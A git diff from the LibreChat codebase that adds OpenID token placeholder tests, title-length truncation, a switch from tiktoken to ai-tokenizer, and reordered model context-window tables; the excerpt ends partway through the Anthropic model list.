@@ describe('OpenID Token Utilities', () => { expect(result).toContain('User:'); }); + it('should resolve LIBRECHAT_OPENID_ID_TOKEN and LIBRECHAT_OPENID_ACCESS_TOKEN to different values', () => { + const user: Partial = { + id: 'user-123', + provider: 'openid', + openidId: 'oidc-sub-456', + email: 'test@example.com', + name: 'Test User', + federatedTokens: { + access_token: 'my-access-token', + id_token: 'my-id-token', + refresh_token: 'my-refresh-token', + expires_at: Math.floor(Date.now() / 1000) + 3600, + }, + }; + + const tokenInfo = extractOpenIDTokenInfo(user); + expect(tokenInfo).not.toBeNull(); + expect(tokenInfo!.accessToken).toBe('my-access-token'); + expect(tokenInfo!.idToken).toBe('my-id-token'); + expect(tokenInfo!.accessToken).not.toBe(tokenInfo!.idToken); + + const input = 'ACCESS={{LIBRECHAT_OPENID_ACCESS_TOKEN}}, ID={{LIBRECHAT_OPENID_ID_TOKEN}}'; + const result = processOpenIDPlaceholders(input, tokenInfo!); + + expect(result).toBe('ACCESS=my-access-token, ID=my-id-token'); + // Verify they are not the same value (the reported bug) + expect(result).not.toBe('ACCESS=my-access-token, ID=my-access-token'); + }); + it('should handle expired tokens correctly', () => { const user: Partial = { id: 'user-123', diff --git a/packages/api/src/utils/oidc.ts b/packages/api/src/utils/oidc.ts index cebda91e69..dbf41818c4 100644 --- a/packages/api/src/utils/oidc.ts +++ b/packages/api/src/utils/oidc.ts @@ -34,7 +34,22 @@ const OPENID_TOKEN_FIELDS = [ 'EXPIRES_AT', ] as const; -export function extractOpenIDTokenInfo(user: IUser | null | undefined): OpenIDTokenInfo | null { +/** + * Placeholder for Microsoft Graph API access token. + * This placeholder is resolved asynchronously via OBO (On-Behalf-Of) flow + * and requires special handling outside the synchronous processMCPEnv pipeline. + */ +export const GRAPH_TOKEN_PLACEHOLDER = '{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + +/** + * Default Microsoft Graph API scopes for OBO token exchange. + * Can be overridden via GRAPH_API_SCOPES environment variable. + */ +export const DEFAULT_GRAPH_SCOPES = 'https://graph.microsoft.com/.default'; + +export function extractOpenIDTokenInfo( + user: Partial | null | undefined, +): OpenIDTokenInfo | null { if (!user) { return null; } diff --git a/packages/api/src/utils/sanitizeTitle.spec.ts b/packages/api/src/utils/sanitizeTitle.spec.ts index 35a1fc1f1b..9899f01b7d 100644 --- a/packages/api/src/utils/sanitizeTitle.spec.ts +++ b/packages/api/src/utils/sanitizeTitle.spec.ts @@ -1,4 +1,4 @@ -import { sanitizeTitle } from './sanitizeTitle'; +import { sanitizeTitle, MAX_TITLE_LENGTH, DEFAULT_TITLE_FALLBACK } from './sanitizeTitle'; describe('sanitizeTitle', () => { describe('Happy Path', () => { @@ -123,21 +123,21 @@ describe('sanitizeTitle', () => { describe('Empty and Fallback Cases', () => { it('should return fallback for empty string', () => { - expect(sanitizeTitle('')).toBe('Untitled Conversation'); + expect(sanitizeTitle('')).toBe(DEFAULT_TITLE_FALLBACK); }); it('should return fallback when only whitespace remains', () => { const input = 'thinking \n\t\r\n '; - expect(sanitizeTitle(input)).toBe('Untitled Conversation'); + expect(sanitizeTitle(input)).toBe(DEFAULT_TITLE_FALLBACK); }); it('should return fallback when only think blocks exist', () => { const input = 'just thinkingmore thinking'; - expect(sanitizeTitle(input)).toBe('Untitled Conversation'); + expect(sanitizeTitle(input)).toBe(DEFAULT_TITLE_FALLBACK); }); it('should return fallback for non-string whitespace', () => { - expect(sanitizeTitle(' ')).toBe('Untitled Conversation'); + expect(sanitizeTitle(' ')).toBe(DEFAULT_TITLE_FALLBACK); }); }); @@ -174,6 +174,53 @@ describe('sanitizeTitle', () => { }); }); + describe('Max Length Truncation', () => { + const ellipsis = '...'; + const maxContent = MAX_TITLE_LENGTH - ellipsis.length; + + it('should pass through a title exactly at max length unchanged', () => { + const input = 'A'.repeat(MAX_TITLE_LENGTH); + expect(sanitizeTitle(input)).toBe(input); + }); + + it('should truncate a title over max length with ellipsis', () => { + const input = 'A'.repeat(MAX_TITLE_LENGTH + 50); + const result = sanitizeTitle(input); + expect(result).toBe('A'.repeat(maxContent) + ellipsis); + expect(result.length).toBeLessThanOrEqual(MAX_TITLE_LENGTH); + }); + + it('should truncate after think-block removal', () => { + const input = 'reasoning ' + 'B'.repeat(MAX_TITLE_LENGTH + 50); + const result = sanitizeTitle(input); + expect(result).toBe('B'.repeat(maxContent) + ellipsis); + expect(result.length).toBeLessThanOrEqual(MAX_TITLE_LENGTH); + }); + + it('should trimEnd before appending ellipsis when slice ends with whitespace', () => { + const input = 'A'.repeat(maxContent - 1) + ' B' + 'C'.repeat(MAX_TITLE_LENGTH); + const result = sanitizeTitle(input); + expect(result).toBe('A'.repeat(maxContent - 1) + ellipsis); + expect(result).not.toMatch(/ \.\.\./); + }); + + it('should not produce lone surrogates when truncating emoji titles', () => { + const input = 'A'.repeat(MAX_TITLE_LENGTH - 2) + '\u{1F389}rest'; + const result = sanitizeTitle(input); + expect(result.isWellFormed()).toBe(true); + expect([...result].length).toBeLessThanOrEqual(MAX_TITLE_LENGTH); + }); + + it('should handle a title composed entirely of emoji', () => { + const emoji = '\u{1F680}'; + const input = emoji.repeat(MAX_TITLE_LENGTH + 10); + const result = sanitizeTitle(input); + expect(result.isWellFormed()).toBe(true); + expect(result.endsWith(ellipsis)).toBe(true); + expect([...result].length).toBeLessThanOrEqual(MAX_TITLE_LENGTH); + }); + }); + describe('Idempotency', () => { it('should be idempotent', () => { const input = 'reasoning My Title'; @@ -188,7 +235,7 @@ describe('sanitizeTitle', () => { const once = sanitizeTitle(input); const twice = sanitizeTitle(once); expect(once).toBe(twice); - expect(once).toBe('Untitled Conversation'); + expect(once).toBe(DEFAULT_TITLE_FALLBACK); }); }); diff --git a/packages/api/src/utils/sanitizeTitle.ts b/packages/api/src/utils/sanitizeTitle.ts index 54ce5d18ee..84a442b17f 100644 --- a/packages/api/src/utils/sanitizeTitle.ts +++ b/packages/api/src/utils/sanitizeTitle.ts @@ -1,30 +1,35 @@ +/** Max character length for sanitized titles (the output will never exceed this). */ +export const MAX_TITLE_LENGTH = 200; +export const DEFAULT_TITLE_FALLBACK = 'Untitled Conversation'; + /** - * Sanitizes LLM-generated chat titles by removing ... reasoning blocks. + * Sanitizes LLM-generated chat titles by removing {@link https://en.wikipedia.org/wiki/Chain-of-thought_prompting } + * reasoning blocks, normalizing whitespace, and truncating to {@link MAX_TITLE_LENGTH} characters. * - * This function strips out all reasoning blocks (with optional attributes and newlines) - * and returns a clean title. If the result is empty, a fallback is returned. + * Titles exceeding the limit are truncated at a code-point-safe boundary and suffixed with `...`. * * @param rawTitle - The raw LLM-generated title string, potentially containing blocks. - * @returns A sanitized title string, never empty (fallback used if needed). + * @returns A sanitized, potentially truncated title string, never empty (fallback used if needed). */ export function sanitizeTitle(rawTitle: string): string { - const DEFAULT_FALLBACK = 'Untitled Conversation'; - - // Step 1: Input Validation if (!rawTitle || typeof rawTitle !== 'string') { - return DEFAULT_FALLBACK; + return DEFAULT_TITLE_FALLBACK; } - // Step 2: Build and apply the regex to remove all ... blocks const thinkBlockRegex = /]*>[\s\S]*?<\/think>/gi; const cleaned = rawTitle.replace(thinkBlockRegex, ''); - - // Step 3: Normalize whitespace (collapse multiple spaces/newlines to single space) const normalized = cleaned.replace(/\s+/g, ' '); - - // Step 4: Trim leading and trailing whitespace const trimmed = normalized.trim(); - // Step 5: Return trimmed result or fallback if empty - return trimmed.length > 0 ? trimmed : DEFAULT_FALLBACK; + if (trimmed.length === 0) { + return DEFAULT_TITLE_FALLBACK; + } + + const codePoints = [...trimmed]; + if (codePoints.length > MAX_TITLE_LENGTH) { + const truncateAt = MAX_TITLE_LENGTH - 3; + return codePoints.slice(0, truncateAt).join('').trimEnd() + '...'; + } + + return trimmed; } diff --git a/packages/api/src/utils/text.spec.ts b/packages/api/src/utils/text.spec.ts index 1b8d8aac98..30185f9da7 100644 --- a/packages/api/src/utils/text.spec.ts +++ b/packages/api/src/utils/text.spec.ts @@ -65,7 +65,7 @@ const createRealTokenCounter = () => { let callCount = 0; const tokenCountFn = (text: string): number => { callCount++; - return Tokenizer.getTokenCount(text, 'cl100k_base'); + return Tokenizer.getTokenCount(text, 'o200k_base'); }; return { tokenCountFn, @@ -590,9 +590,9 @@ describe('processTextWithTokenLimit', () => { }); }); - describe('direct comparison with REAL tiktoken tokenizer', () => { - beforeEach(() => { - Tokenizer.freeAndResetAllEncoders(); + describe('direct comparison with REAL ai-tokenizer', () => { + beforeAll(async () => { + await Tokenizer.initEncoding('o200k_base'); }); it('should produce valid truncation with real tokenizer', async () => { @@ -611,7 +611,7 @@ describe('processTextWithTokenLimit', () => { expect(result.text.length).toBeLessThan(text.length); }); - it('should use fewer tiktoken calls than old implementation (realistic text)', async () => { + it('should use fewer tokenizer calls than old implementation (realistic text)', async () => { const oldCounter = createRealTokenCounter(); const newCounter = createRealTokenCounter(); const text = createRealisticText(15000); @@ -623,8 +623,6 @@ describe('processTextWithTokenLimit', () => { tokenCountFn: oldCounter.tokenCountFn, }); - Tokenizer.freeAndResetAllEncoders(); - await processTextWithTokenLimit({ text, tokenLimit, @@ -634,17 +632,17 @@ describe('processTextWithTokenLimit', () => { const oldCalls = oldCounter.getCallCount(); const newCalls = newCounter.getCallCount(); - console.log(`[Real tiktoken ~15k tokens] OLD: ${oldCalls} calls, NEW: ${newCalls} calls`); - console.log(`[Real tiktoken] Reduction: ${((1 - newCalls / oldCalls) * 100).toFixed(1)}%`); + console.log(`[Real tokenizer ~15k tokens] OLD: ${oldCalls} calls, NEW: ${newCalls} calls`); + console.log(`[Real tokenizer] Reduction: ${((1 - newCalls / oldCalls) * 100).toFixed(1)}%`); expect(newCalls).toBeLessThan(oldCalls); }); - it('should handle the reported user scenario with real tokenizer (~120k tokens)', async () => { + it('should handle large text with real tokenizer (~20k tokens)', async () => { const oldCounter = createRealTokenCounter(); const newCounter = createRealTokenCounter(); - const text = createRealisticText(120000); - const tokenLimit = 100000; + const text = createRealisticText(20000); + const tokenLimit = 15000; const startOld = performance.now(); await processTextWithTokenLimitOLD({ @@ -654,8 +652,6 @@ describe('processTextWithTokenLimit', () => { }); const timeOld = performance.now() - startOld; - Tokenizer.freeAndResetAllEncoders(); - const startNew = performance.now(); const result = await processTextWithTokenLimit({ text, @@ -667,9 +663,9 @@ describe('processTextWithTokenLimit', () => { const oldCalls = oldCounter.getCallCount(); const newCalls = newCounter.getCallCount(); - console.log(`\n[REAL TIKTOKEN - User reported scenario: ~120k tokens]`); - console.log(`OLD implementation: ${oldCalls} tiktoken calls, ${timeOld.toFixed(0)}ms`); - console.log(`NEW implementation: ${newCalls} tiktoken calls, ${timeNew.toFixed(0)}ms`); + console.log(`\n[REAL TOKENIZER - ~20k tokens]`); + console.log(`OLD implementation: ${oldCalls} tokenizer calls, ${timeOld.toFixed(0)}ms`); + console.log(`NEW implementation: ${newCalls} tokenizer calls, ${timeNew.toFixed(0)}ms`); console.log(`Call reduction: ${((1 - newCalls / oldCalls) * 100).toFixed(1)}%`); console.log(`Time reduction: ${((1 - timeNew / timeOld) * 100).toFixed(1)}%`); console.log( @@ -684,8 +680,8 @@ describe('processTextWithTokenLimit', () => { it('should achieve at least 70% reduction with real tokenizer', async () => { const oldCounter = createRealTokenCounter(); const newCounter = createRealTokenCounter(); - const text = createRealisticText(50000); - const tokenLimit = 10000; + const text = createRealisticText(15000); + const tokenLimit = 5000; await processTextWithTokenLimitOLD({ text, @@ -693,8 +689,6 @@ describe('processTextWithTokenLimit', () => { tokenCountFn: oldCounter.tokenCountFn, }); - Tokenizer.freeAndResetAllEncoders(); - await processTextWithTokenLimit({ text, tokenLimit, @@ -706,7 +700,7 @@ describe('processTextWithTokenLimit', () => { const reduction = 1 - newCalls / oldCalls; console.log( - `[Real tiktoken 50k tokens] OLD: ${oldCalls}, NEW: ${newCalls}, Reduction: ${(reduction * 100).toFixed(1)}%`, + `[Real tokenizer 15k tokens] OLD: ${oldCalls}, NEW: ${newCalls}, Reduction: ${(reduction * 100).toFixed(1)}%`, ); expect(reduction).toBeGreaterThanOrEqual(0.7); @@ -714,10 +708,6 @@ describe('processTextWithTokenLimit', () => { }); describe('using countTokens async function from @librechat/api', () => { - beforeEach(() => { - Tokenizer.freeAndResetAllEncoders(); - }); - it('countTokens should return correct token count', async () => { const text = 'Hello, world!'; const count = await countTokens(text); @@ -759,8 +749,6 @@ describe('processTextWithTokenLimit', () => { tokenCountFn: oldCounter.tokenCountFn, }); - Tokenizer.freeAndResetAllEncoders(); - await processTextWithTokenLimit({ text, tokenLimit, @@ -776,11 +764,11 @@ describe('processTextWithTokenLimit', () => { expect(newCalls).toBeLessThan(oldCalls); }); - it('should handle user reported scenario with countTokens (~120k tokens)', async () => { + it('should handle large text with countTokens (~20k tokens)', async () => { const oldCounter = createCountTokensCounter(); const newCounter = createCountTokensCounter(); - const text = createRealisticText(120000); - const tokenLimit = 100000; + const text = createRealisticText(20000); + const tokenLimit = 15000; const startOld = performance.now(); await processTextWithTokenLimitOLD({ @@ -790,8 +778,6 @@ describe('processTextWithTokenLimit', () => { }); const timeOld = performance.now() - startOld; - Tokenizer.freeAndResetAllEncoders(); - const startNew = performance.now(); const result = await processTextWithTokenLimit({ text, @@ -803,7 +789,7 @@ describe('processTextWithTokenLimit', () => { const oldCalls = oldCounter.getCallCount(); const newCalls = newCounter.getCallCount(); - console.log(`\n[countTokens - User reported scenario: ~120k tokens]`); + console.log(`\n[countTokens - ~20k tokens]`); console.log(`OLD implementation: ${oldCalls} countTokens calls, ${timeOld.toFixed(0)}ms`); console.log(`NEW implementation: ${newCalls} countTokens calls, ${timeNew.toFixed(0)}ms`); console.log(`Call reduction: ${((1 - newCalls / oldCalls) * 100).toFixed(1)}%`); @@ -820,8 +806,8 @@ describe('processTextWithTokenLimit', () => { it('should achieve at least 70% reduction with countTokens', async () => { const oldCounter = createCountTokensCounter(); const newCounter = createCountTokensCounter(); - const text = createRealisticText(50000); - const tokenLimit = 10000; + const text = createRealisticText(15000); + const tokenLimit = 5000; await processTextWithTokenLimitOLD({ text, @@ -829,8 +815,6 @@ describe('processTextWithTokenLimit', () => { tokenCountFn: oldCounter.tokenCountFn, }); - Tokenizer.freeAndResetAllEncoders(); - await processTextWithTokenLimit({ text, tokenLimit, @@ -842,7 +826,7 @@ describe('processTextWithTokenLimit', () => { const reduction = 1 - newCalls / oldCalls; console.log( - `[countTokens 50k tokens] OLD: ${oldCalls}, NEW: ${newCalls}, Reduction: ${(reduction * 100).toFixed(1)}%`, + `[countTokens 15k tokens] OLD: ${oldCalls}, NEW: ${newCalls}, Reduction: ${(reduction * 100).toFixed(1)}%`, ); expect(reduction).toBeGreaterThanOrEqual(0.7); diff --git a/packages/api/src/utils/tokenizer.spec.ts b/packages/api/src/utils/tokenizer.spec.ts index edd6fe14de..b8c1bd8d98 100644 --- a/packages/api/src/utils/tokenizer.spec.ts +++ b/packages/api/src/utils/tokenizer.spec.ts @@ -1,12 +1,3 @@ -/** - * @file Tokenizer.spec.cjs - * - * Tests the real TokenizerSingleton (no mocking of `tiktoken`). - * Make sure to install `tiktoken` and have it configured properly. - */ - -import { logger } from '@librechat/data-schemas'; -import type { Tiktoken } from 'tiktoken'; import Tokenizer from './tokenizer'; jest.mock('@librechat/data-schemas', () => ({ @@ -17,127 +8,49 @@ jest.mock('@librechat/data-schemas', () => ({ describe('Tokenizer', () => { it('should be a singleton (same instance)', async () => { - const AnotherTokenizer = await import('./tokenizer'); // same path + const AnotherTokenizer = await import('./tokenizer'); expect(Tokenizer).toBe(AnotherTokenizer.default); }); - describe('getTokenizer', () => { - it('should create an encoder for an explicit model name (e.g., "gpt-4")', () => { - // The real `encoding_for_model` will be called internally - // as soon as we pass isModelName = true. - const tokenizer = Tokenizer.getTokenizer('gpt-4', true); - - // Basic sanity checks - expect(tokenizer).toBeDefined(); - // You can optionally check certain properties from `tiktoken` if they exist - // e.g., expect(typeof tokenizer.encode).toBe('function'); + describe('initEncoding', () => { + it('should load o200k_base encoding', async () => { + await Tokenizer.initEncoding('o200k_base'); + const count = Tokenizer.getTokenCount('Hello, world!', 'o200k_base'); + expect(count).toBeGreaterThan(0); }); - it('should create an encoder for a known encoding (e.g., "cl100k_base")', () => { - // The real `get_encoding` will be called internally - // as soon as we pass isModelName = false. - const tokenizer = Tokenizer.getTokenizer('cl100k_base', false); - - expect(tokenizer).toBeDefined(); - // e.g., expect(typeof tokenizer.encode).toBe('function'); + it('should load claude encoding', async () => { + await Tokenizer.initEncoding('claude'); + const count = Tokenizer.getTokenCount('Hello, world!', 'claude'); + expect(count).toBeGreaterThan(0); }); - it('should return cached tokenizer if previously fetched', () => { - const tokenizer1 = Tokenizer.getTokenizer('cl100k_base', false); - const tokenizer2 = Tokenizer.getTokenizer('cl100k_base', false); - // Should be the exact same instance from the cache - expect(tokenizer1).toBe(tokenizer2); - }); - }); - - describe('freeAndResetAllEncoders', () => { - beforeEach(() => { - jest.clearAllMocks(); - }); - - it('should free all encoders and reset tokenizerCallsCount to 1', () => { - // By creating two different encodings, we populate the cache - Tokenizer.getTokenizer('cl100k_base', false); - Tokenizer.getTokenizer('r50k_base', false); - - // Now free them - Tokenizer.freeAndResetAllEncoders(); - - // The internal cache is cleared - expect(Tokenizer.tokenizersCache['cl100k_base']).toBeUndefined(); - expect(Tokenizer.tokenizersCache['r50k_base']).toBeUndefined(); - - // tokenizerCallsCount is reset to 1 - expect(Tokenizer.tokenizerCallsCount).toBe(1); - }); - - it('should catch and log errors if freeing fails', () => { - // Mock logger.error before the test - const mockLoggerError = jest.spyOn(logger, 'error'); - - // Set up a problematic tokenizer in the cache - Tokenizer.tokenizersCache['cl100k_base'] = { - free() { - throw new Error('Intentional free error'); - }, - } as unknown as Tiktoken; - - // Should not throw uncaught errors - Tokenizer.freeAndResetAllEncoders(); - - // Verify logger.error was called with correct arguments - expect(mockLoggerError).toHaveBeenCalledWith( - '[Tokenizer] Free and reset encoders error', - expect.any(Error), - ); - - // Clean up - mockLoggerError.mockRestore(); - Tokenizer.tokenizersCache = {}; + it('should deduplicate concurrent init calls', async () => { + const [, , count] = await Promise.all([ + Tokenizer.initEncoding('o200k_base'), + Tokenizer.initEncoding('o200k_base'), + Tokenizer.initEncoding('o200k_base').then(() => + Tokenizer.getTokenCount('test', 'o200k_base'), + ), + ]); + expect(count).toBeGreaterThan(0); }); }); describe('getTokenCount', () => { - beforeEach(() => { - jest.clearAllMocks(); - Tokenizer.freeAndResetAllEncoders(); + beforeAll(async () => { + await Tokenizer.initEncoding('o200k_base'); + await Tokenizer.initEncoding('claude'); }); it('should return the number of tokens in the given text', () => { - const text = 'Hello, world!'; - const count = Tokenizer.getTokenCount(text, 'cl100k_base'); + const count = Tokenizer.getTokenCount('Hello, world!', 'o200k_base'); expect(count).toBeGreaterThan(0); }); - it('should reset encoders if an error is thrown', () => { - // We can simulate an error by temporarily overriding the selected tokenizer's `encode` method. - const tokenizer = Tokenizer.getTokenizer('cl100k_base', false); - const originalEncode = tokenizer.encode; - tokenizer.encode = () => { - throw new Error('Forced error'); - }; - - // Despite the forced error, the code should catch and reset, then re-encode - const count = Tokenizer.getTokenCount('Hello again', 'cl100k_base'); + it('should count tokens using claude encoding', () => { + const count = Tokenizer.getTokenCount('Hello, world!', 'claude'); expect(count).toBeGreaterThan(0); - - // Restore the original encode - tokenizer.encode = originalEncode; - }); - - it('should reset tokenizers after 25 calls', () => { - // Spy on freeAndResetAllEncoders - const resetSpy = jest.spyOn(Tokenizer, 'freeAndResetAllEncoders'); - - // Make 24 calls; should NOT reset yet - for (let i = 0; i < 24; i++) { - Tokenizer.getTokenCount('test text', 'cl100k_base'); - } - expect(resetSpy).not.toHaveBeenCalled(); - - // 25th call triggers the reset - Tokenizer.getTokenCount('the 25th call!', 'cl100k_base'); - expect(resetSpy).toHaveBeenCalledTimes(1); }); }); }); diff --git a/packages/api/src/utils/tokenizer.ts b/packages/api/src/utils/tokenizer.ts index 0b0282d36b..4c638c948e 100644 --- a/packages/api/src/utils/tokenizer.ts +++ b/packages/api/src/utils/tokenizer.ts @@ -1,74 +1,46 @@ import { logger } from '@librechat/data-schemas'; -import { encoding_for_model as encodingForModel, get_encoding as getEncoding } from 'tiktoken'; -import type { Tiktoken, TiktokenModel, TiktokenEncoding } from 'tiktoken'; +import { Tokenizer as AiTokenizer } from 'ai-tokenizer'; -interface TokenizerOptions { - debug?: boolean; -} +export type EncodingName = 'o200k_base' | 'claude'; + +type EncodingData = ConstructorParameters[0]; class Tokenizer { - tokenizersCache: Record; - tokenizerCallsCount: number; - private options?: TokenizerOptions; + private tokenizersCache: Partial> = {}; + private loadingPromises: Partial>> = {}; - constructor() { - this.tokenizersCache = {}; - this.tokenizerCallsCount = 0; - } - - getTokenizer( - encoding: TiktokenModel | TiktokenEncoding, - isModelName = false, - extendSpecialTokens: Record = {}, - ): Tiktoken { - let tokenizer: Tiktoken; + /** Pre-loads an encoding so that subsequent getTokenCount calls are accurate. */ + async initEncoding(encoding: EncodingName): Promise { if (this.tokenizersCache[encoding]) { - tokenizer = this.tokenizersCache[encoding]; - } else { - if (isModelName) { - tokenizer = encodingForModel(encoding as TiktokenModel, extendSpecialTokens); - } else { - tokenizer = getEncoding(encoding as TiktokenEncoding, extendSpecialTokens); - } - this.tokenizersCache[encoding] = tokenizer; + return; } - return tokenizer; + if (this.loadingPromises[encoding]) { + return this.loadingPromises[encoding]; + } + this.loadingPromises[encoding] = (async () => { + const data: EncodingData = + encoding === 'claude' + ? await import('ai-tokenizer/encoding/claude') + : await import('ai-tokenizer/encoding/o200k_base'); + this.tokenizersCache[encoding] = new AiTokenizer(data); + })(); + return this.loadingPromises[encoding]; } - freeAndResetAllEncoders(): void { + getTokenCount(text: string, encoding: EncodingName = 'o200k_base'): number { + const tokenizer = this.tokenizersCache[encoding]; + if (!tokenizer) { + this.initEncoding(encoding); + return Math.ceil(text.length / 4); + } try { - Object.keys(this.tokenizersCache).forEach((key) => { - if (this.tokenizersCache[key]) { - this.tokenizersCache[key].free(); - delete this.tokenizersCache[key]; - } - }); - this.tokenizerCallsCount = 1; - } catch (error) { - logger.error('[Tokenizer] Free and reset encoders error', error); - } - } - - resetTokenizersIfNecessary(): void { - if (this.tokenizerCallsCount >= 25) { - if (this.options?.debug) { - logger.debug('[Tokenizer] freeAndResetAllEncoders: reached 25 encodings, resetting...'); - } - this.freeAndResetAllEncoders(); - } - this.tokenizerCallsCount++; - } - - getTokenCount(text: string, encoding: TiktokenModel | TiktokenEncoding = 'cl100k_base'): number { - this.resetTokenizersIfNecessary(); - try { - const tokenizer = this.getTokenizer(encoding); - return tokenizer.encode(text, 'all').length; + return tokenizer.count(text); } catch (error) { logger.error('[Tokenizer] Error getting token count:', error); - this.freeAndResetAllEncoders(); - const tokenizer = this.getTokenizer(encoding); - return tokenizer.encode(text, 'all').length; + delete this.tokenizersCache[encoding]; + delete this.loadingPromises[encoding]; + this.initEncoding(encoding); + return Math.ceil(text.length / 4); } } } @@ -76,13 +48,13 @@ class Tokenizer { const TokenizerSingleton = new Tokenizer(); /** - * Counts the number of tokens in a given text using tiktoken. - * This is an async wrapper around Tokenizer.getTokenCount for compatibility. - * @param text - The text to be tokenized. Defaults to an empty string if not provided. + * Counts the number of tokens in a given text using ai-tokenizer with o200k_base encoding. + * @param text - The text to count tokens in. Defaults to an empty string. * @returns The number of tokens in the provided text. */ export async function countTokens(text = ''): Promise { - return TokenizerSingleton.getTokenCount(text, 'cl100k_base'); + await TokenizerSingleton.initEncoding('o200k_base'); + return TokenizerSingleton.getTokenCount(text, 'o200k_base'); } export default TokenizerSingleton; diff --git a/packages/api/src/utils/tokens.ts b/packages/api/src/utils/tokens.ts index 750a2c9244..ae09da4f28 100644 --- a/packages/api/src/utils/tokens.ts +++ b/packages/api/src/utils/tokens.ts @@ -2,13 +2,33 @@ import z from 'zod'; import { EModelEndpoint } from 'librechat-data-provider'; import type { EndpointTokenConfig, TokenConfig } from '~/types'; +/** + * Model Token Configuration Maps + * + * Pattern Matching + * ================ + * `findMatchingPattern` uses `modelName.includes(key)` and selects the **longest** + * matching key. If a key's length equals the model name's length (exact match), it + * returns immediately — no further keys are checked. + * + * For keys of different lengths, definition order does not affect the result — the + * longest match always wins. For **same-length ties**, the function iterates in + * reverse, so the last-defined key wins. Key ordering therefore matters for: + * + * 1. **Performance**: list older/legacy models first, newer models last — newer + * models are more commonly used and will match earlier in the reverse scan. + * 2. **Same-length tie-breaking**: in `aggregateModels`, OpenAI is spread last + * so its keys are preferred when two keys of equal length both match. + */ + const openAIModels = { - 'o4-mini': 200000, - 'o3-mini': 195000, // -5000 from max - o3: 200000, - o1: 195000, // -5000 from max - 'o1-mini': 127500, // -500 from max - 'o1-preview': 127500, // -500 from max + 'gpt-3.5-turbo-0301': 4092, // -5 from max + 'gpt-3.5-turbo-0613': 4092, // -5 from max + 'gpt-3.5-turbo-16k': 16375, // -10 from max + 'gpt-3.5-turbo-16k-0613': 16375, // -10 from max + 'gpt-3.5-turbo-1106': 16375, // -10 from max + 'gpt-3.5-turbo-0125': 16375, // -10 from max + 'gpt-3.5-turbo': 16375, // -10 from max 'gpt-4': 8187, // -5 from max 'gpt-4-0613': 8187, // -5 from max 'gpt-4-32k': 32758, // -10 from max @@ -16,28 +36,31 @@ const openAIModels = { 'gpt-4-32k-0613': 32758, // -10 from max 'gpt-4-1106': 127500, // -500 from max 'gpt-4-0125': 127500, // -500 from max + 'gpt-4-turbo': 127500, // -500 from max + 'gpt-4-vision': 127500, // -500 from max + 'gpt-4o-2024-05-13': 127500, // -500 from max + 'gpt-4o-mini': 127500, // -500 from max + 'gpt-4o': 127500, // -500 from max 'gpt-4.5': 127500, // -500 from max + 'o1-mini': 127500, // -500 from max + 'o1-preview': 127500, // -500 from max + o1: 195000, // -5000 from max + 'o3-mini': 195000, // -5000 from max + o3: 200000, + 'o4-mini': 200000, 'gpt-4.1': 1047576, 'gpt-4.1-mini': 1047576, 'gpt-4.1-nano': 1047576, 'gpt-5': 400000, 'gpt-5.1': 400000, 'gpt-5.2': 400000, + 'gpt-5.3': 400000, + 'gpt-5.4': 272000, // standard context; 1M experimental available via API opt-in (2x rate) + 'gpt-5.4-pro': 272000, // same window as gpt-5.4 'gpt-5-mini': 400000, 'gpt-5-nano': 400000, 'gpt-5-pro': 400000, - 'gpt-4o': 127500, // -500 from max - 'gpt-4o-mini': 127500, // -500 from max - 'gpt-4o-2024-05-13': 127500, // -500 from max - 'gpt-4-turbo': 127500, // -500 from max - 'gpt-4-vision': 127500, // -500 from max - 'gpt-3.5-turbo': 16375, // -10 from max - 'gpt-3.5-turbo-0613': 4092, // -5 from max - 'gpt-3.5-turbo-0301': 4092, // -5 from max - 'gpt-3.5-turbo-16k': 16375, // -10 from max - 'gpt-3.5-turbo-16k-0613': 16375, // -10 from max - 'gpt-3.5-turbo-1106': 16375, // -10 from max - 'gpt-3.5-turbo-0125': 16375, // -10 from max + 'gpt-5.2-pro': 400000, }; const mistralModels = { @@ -46,15 +69,15 @@ const mistralModels = { 'mistral-small': 31990, // -10 from max 'mixtral-8x7b': 31990, // -10 from max 'mixtral-8x22b': 65536, - 'mistral-large': 131000, 'mistral-large-2402': 127500, 'mistral-large-2407': 127500, + 'mistral-large': 131000, + 'mistral-saba': 32000, + 'ministral-3b': 131000, + 'ministral-8b': 131000, 'mistral-nemo': 131000, 'pixtral-large': 131000, - 'mistral-saba': 32000, codestral: 256000, - 'ministral-8b': 131000, - 'ministral-3b': 131000, }; const cohereModels = { @@ -75,30 +98,22 @@ const googleModels = { 'gemma-3-27b': 131072, gemini: 30720, // -2048 from max 'gemini-pro-vision': 12288, + 'gemini-1.5': 1000000, + 'gemini-1.5-flash': 1000000, + 'gemini-1.5-flash-8b': 1000000, + 'gemini-2.0': 2000000, + 'gemini-2.0-flash': 1000000, + 'gemini-2.0-flash-lite': 1000000, 'gemini-exp': 2000000, - 'gemini-3': 1000000, // 1M input tokens, 64k output tokens - 'gemini-3-pro-image': 1000000, - 'gemini-2.5': 1000000, // 1M input tokens, 64k output tokens + 'gemini-2.5': 1000000, 'gemini-2.5-pro': 1000000, 'gemini-2.5-flash': 1000000, 'gemini-2.5-flash-image': 1000000, 'gemini-2.5-flash-lite': 1000000, - 'gemini-2.0': 2000000, - 'gemini-2.0-flash': 1000000, - 'gemini-2.0-flash-lite': 1000000, - 'gemini-1.5': 1000000, - 'gemini-1.5-flash': 1000000, - 'gemini-1.5-flash-8b': 1000000, - 'text-bison-32k': 32758, // -10 from max - 'chat-bison-32k': 32758, // -10 from max - 'code-bison-32k': 32758, // -10 from max - 'codechat-bison-32k': 32758, - /* Codey, -5 from max: 6144 */ - 'code-': 6139, - 'codechat-': 6139, - /* PaLM2, -5 from max: 8192 */ - 'text-': 8187, - 'chat-': 8187, + 'gemini-3': 1000000, + 'gemini-3-pro-image': 1000000, + 'gemini-3.1': 1000000, + 'gemini-3.1-flash-lite': 1000000, }; const anthropicModels = { @@ -110,113 +125,140 @@ const anthropicModels = { 'claude-3-haiku': 200000, 'claude-3-sonnet': 200000, 'claude-3-opus': 200000, - 'claude-3.5-haiku': 200000, - 'claude-3-5-haiku': 200000, 'claude-3-5-sonnet': 200000, 'claude-3.5-sonnet': 200000, - 'claude-3-7-sonnet': 200000, - 'claude-3.7-sonnet': 200000, 'claude-3-5-sonnet-latest': 200000, 'claude-3.5-sonnet-latest': 200000, - 'claude-haiku-4-5': 200000, - 'claude-sonnet-4': 1000000, + 'claude-3-5-haiku': 200000, + 'claude-3.5-haiku': 200000, + 'claude-3-7-sonnet': 200000, + 'claude-3.7-sonnet': 200000, 'claude-4': 200000, + 'claude-haiku-4-5': 200000, 